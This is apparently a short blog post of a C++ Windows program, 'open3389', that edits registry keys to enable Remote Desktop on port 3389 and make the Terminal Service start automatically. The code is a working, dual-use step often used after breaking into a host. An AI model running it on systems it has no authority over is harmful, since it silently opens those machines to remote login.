[C++]open3389

 1 #include <windows.h>
 2 
 3 int main()
 4 {
 5     HKEY hKEY;
 6     DWORD dwStart = 2;
 7     DWORD dwfD = 0;
 8     DWORD dwPortNumber = 0xd3d;
 9     
10     if(ERROR_SUCCESS == RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Terminal Server", 0, KEY_SET_VALUE, &hKEY))
11         RegSetValueEx(hKEY, "fDenyTSConnections", 0, REG_DWORD, (BYTE*)&dwfD, sizeof(DWORD));
12     RegCloseKey(hKEY);
13     
14     if(ERROR_SUCCESS == RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp", 0, KEY_SET_VALUE, &hKEY))
15         RegSetValueEx(hKEY, "PortNumber", 0, REG_DWORD, (BYTE*)&dwPortNumber, sizeof(DWORD));
16     RegCloseKey(hKEY);
17     
18     if(ERROR_SUCCESS == RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp", 0, KEY_SET_VALUE, &hKEY))
19         RegSetValueEx(hKEY, "PortNumber", 0, REG_DWORD, (BYTE*)&dwPortNumber, sizeof(DWORD));
20     RegCloseKey(hKEY);
21     
22     // 设置 TermService 服务为自动启动
23     if(ERROR_SUCCESS == RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\services\\TermService", 0, KEY_SET_VALUE, &hKEY))
24         RegSetValueEx(hKEY, "Start", 0, REG_DWORD, (BYTE*)&dwStart, sizeof(DWORD));
25     RegCloseKey(hKEY);
26     
27     return 0;
28 }

 

posted @ 2018-07-05 16:40  hoy0a1d  阅读(300)  评论(0编辑  收藏  举报